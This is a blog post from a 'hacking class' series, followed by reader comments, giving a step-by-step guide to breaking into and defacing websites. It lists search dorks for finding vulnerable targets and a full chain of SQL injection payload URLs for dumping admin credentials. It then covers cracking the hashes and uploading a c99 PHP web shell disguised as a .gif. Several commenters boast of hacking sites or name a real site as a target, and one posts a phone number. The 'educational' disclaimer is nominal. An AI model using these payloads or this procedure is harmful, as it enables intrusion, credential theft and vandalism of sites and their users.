Hacking class 14 – How to Deface Websites using SQL and Php scripting?

Hello Guys , Sorry for the Delay in this Class… Reason is Quite Simple My Annual End Semester Exams were going on….So I cannot waste much time on PC…
But Now I am Back… Now I will write the Tutorials that are really Dangerous…

Note: I and Hackingloops is Not responsible for any Misuse of these Tutorials. These are Just for Educational Purposes…So Don’t Misuse Them!

Now Our Todays Discussion is on ” How to Deface Websites using the SQL injection and PHP shell code Scripting”.. Today I will show you the 100% working method for Hacking Websites and then Defacing them…

Hacking class 14 - How to Deface Websites using SQL and Php scripting

Defacing a website simply means that we replace the index.html file of a site by our file. Now all the Users that open it will see our Page(i.e being uploaded by us).
For Defacing a website, three things that you need Most are:
1. SQL Injection(For analyzing website loops)
2. Admin Password
3. Shell Script (for getting Admin Controls)

Now Lets Start the Tutorial:
First of all I would Like to say that I have took some part of SQL injection Tutorial from my previous posts and a site http://www.exploit-db.com . Most of the Part is written by me so if you have any doubts I will clear them….

1. Finding the Target and the Admin Password
First of all we must find out our target website. I have collected a lot of dorks i.e the vulnerability points of the websites. Some Google Searches can be awesomely utilized to find out vulnerable Websites.. Below is example of some queries..
Examples: Open the Google and copy paste these queries…












Here are some More Queries (use them without quotation marks)..

"comersus_listCategoriesAndProducts.asp?idCategory ="
"productlist.asp?ViewType=Category&CategoryID= "

Now The Admin password Hacking procedure starts:

You can also refer to my previous post of hacking websites:

Hacking websites : How to hack websites By using SQL Injection

1). Check for vulnerability

Let’s say that we have some site like this


Now to test if is vulrnable we add to the end of url ‘ (quote),

and that would be http://www.site.com/news.php?id=5′

so if we get some error like
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”
or something similar that means the Site is vulnerable to SQL injection.

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result) so how to use it? Well just incrementing the number until we get an error.
http://www.site.com/news.php?id=5 order by 1/* <– no error
http://www.site.com/news.php?id=5 order by 2/* <– no error
http://www.site.com/news.php?id=5 order by 3/* <– no error
http://www.site.com/news.php?id=5 order by 4/* <– error (we get message like this Unknown column ‘4’ in ‘order clause’ or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function
With union we can select more data in one sql statement.

So we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works .

4). Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try —
it’s a comment and it’s important for our query to work properly.

Let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

If you get an error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”

I didn’t see any paper covering this problem, so i must write it .

What we need is convert() function

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version .

5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12…) <— later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc…

i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that’s good )

We know that table admin exists…

Now to check column names.

http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc…

now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up 
i.e md5 hash, mysql hash, sha1…

Now we must complete query to look nice 

For that we can use concat() function (it joins strings)

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )

http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
Now we get dislayed username:p
assword on screen, i.e admin:admin or admin:somehash

When you have this, you can login like admin or some superuser.

If can’t guess the right table name, you can always try mysql.user (default)

It has user  password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
6). MySQL 5

Like i said before i’m gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed.

for third table we put limit 2,1

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

Keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc… 

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
The first column is diplayed.

The second one (we change limit 0,1 to limit 1,1)


http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

The second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc… 

If you wanna display column names for specific table use this query. (where clause)

Let’s say that we found table users.

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/*
Now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won’t work if the magic quotes is ON.

Let’s say that we found colums user, pass and email.

Now to complete query to put them all together.

For that we use concat() , i decribe it earlier.


http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/

What we get here is user:p
ass:email from table users.

Example: admin:hash:whatever@blabla.com

** If you are too lazy for doing above stuff you can use tools they will do all the job:

1) Exploit scanner (this will find vulnerable websites)

2) SQLi helpper (this tool will do all the injecting job and get you the pass or hash)

*** use the tools only if you are new to hacking. Do it manually thats the thrill and that is real hacking. When you do it manually you will understand the concept.

In some websites you can directly see the password but most of the websites encrypt them using MD5. so u hav to crack the hash to get the password. 

To crack the password there are three ways
1) Check the net whether this hash is cracked before:

2) Crack the password with the help of a site:


3) Use a MD5 cracking software:

Password = OwlsNest


After getting the password you can login as the admin of the site. But first you have to find the admin login page for the site. there r three methods to find the admin panel.

1) You can use an admin finder website:

2) You can use an admin finder software:


After logging in as the admin you can upload photos to the site. so now you are going to upload a shell into the site using this upload facility.

Dowload the shell here:http://rapidshare.com/files/248023722/c99.rar

Extract it you will get a c99.php upload it.
Some sites wont allow you to upload a php file. so rename it as c99.php.gif
Then upload it.

After that go to http://www.site.com/images (in most sites images are saved in this dir but if you cant find c99 there then you have to guess the dir)

find the c99.php.gif and click it..

Now you can see a big control pannel….
Now you can do what ever you want to do…
Search for the index.html file and replace it with your own file. 

So if any one goes to that site they will see your page….
After Doing This click on Logout and You are Done..

IF You Have Any Queries Ask Me!

Author Bio

Lokesh Singh

Hey Friends, This is Lokesh Singh. Your friend, who loves to share knowledge with friends as i believe in "Sharing is Caring". If you like our tutorials then you can send your gratitude by saying thanks or clicking any of our Sponsor ads.

  1. Rohan

    December 29, 2009 at 1:57 am

    welcome back Lokesh… Nice to see you back..

  2. Ashwini

    December 29, 2009 at 2:00 am

    Hey Welcome Back! Howz your exams Gone…

    Nice Tutorial.

  3. Anonymous

    December 29, 2009 at 2:02 am

    fatta faati tutorial Man…….How ur exams Gone

  4. Aniket

    December 30, 2009 at 12:27 am

    awesome tutorial….Keep it up

  5. Abhishek

    December 30, 2009 at 11:50 am

    Nice one! I like the software method as its too easy and too quick..hahaha
    It really works I have hacked one site..:P

  6. Sajan

    January 1, 2010 at 4:07 pm

    hi lokesh! happy new yr:) Is there any tool to search vulnerability of any particular website for example like say http://www.xyz.com

  7. Lokesh Singh

    January 2, 2010 at 1:23 am

    Yes there is tool… Retina Scan ..It is used to scan the vulnerabilities in the website..

  8. Sajan

    January 2, 2010 at 1:31 am

    Thnx a lot :) happy new yr :)

  9. Lokesh Singh

    January 2, 2010 at 2:30 am

    Same to you Sajan! Lets this Year May God will fullfill all your Dreams!

  10. waqarahmadsiddiqui

    January 4, 2010 at 9:28 am

    Brother Lokesh… Can u plz.. tell me hacking using the software whose links you provided with 14th tutorial..

    I scan for the site.. i get some result.. now when i try to inject sql injection it takes hours and no rest.. insted there are some.. error message.. can u plz… help me on this..

  11. Anonymous

    January 5, 2010 at 10:42 am

    hai lokesh

  12. Anonymous

    February 1, 2010 at 3:05 pm

    This TUT is totally copied from HackForums…..


    February 2, 2010 at 12:33 am

    lol hackforums user has copied it from here… Check the publishing date..

  14. prakash

    February 16, 2010 at 7:55 pm

    nice job …..
    i think ur genious at hacking

  15. prakash

    February 16, 2010 at 8:30 pm

    i find a site http://www.solutionfocusedtrainers.co.uk/trainers.php?id=1

    it has only one column ,so the union not working
    what i have to do ?

  16. Anonymous

    June 20, 2010 at 6:09 pm

    can some one help me on how to delete my picture on a website

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    July 2, 2010 at 8:01 am

    plzz update video tutorial

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  19. Anonymous

    September 16, 2010 at 4:17 pm

    in d above tut u hv shown Union function to extract data on step 3, but if union function doesnt work, how to extract…..

  20. Anonymous

    December 3, 2010 at 10:49 am

    Nice Work man !!

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    December 12, 2010 at 9:24 am

    hi i am sameer plz teel me how to hack a wbsits can u teel me my mob num 91+9208597966

  22. Anonymous

    December 14, 2010 at 12:48 pm

    soo many skiddies thinking defacing is hacking lol ,they dont even understand why sql injection works

  23. Anonymous

    December 19, 2010 at 7:31 am

    but how to search for a site with “article.php?id=[number]” combination???

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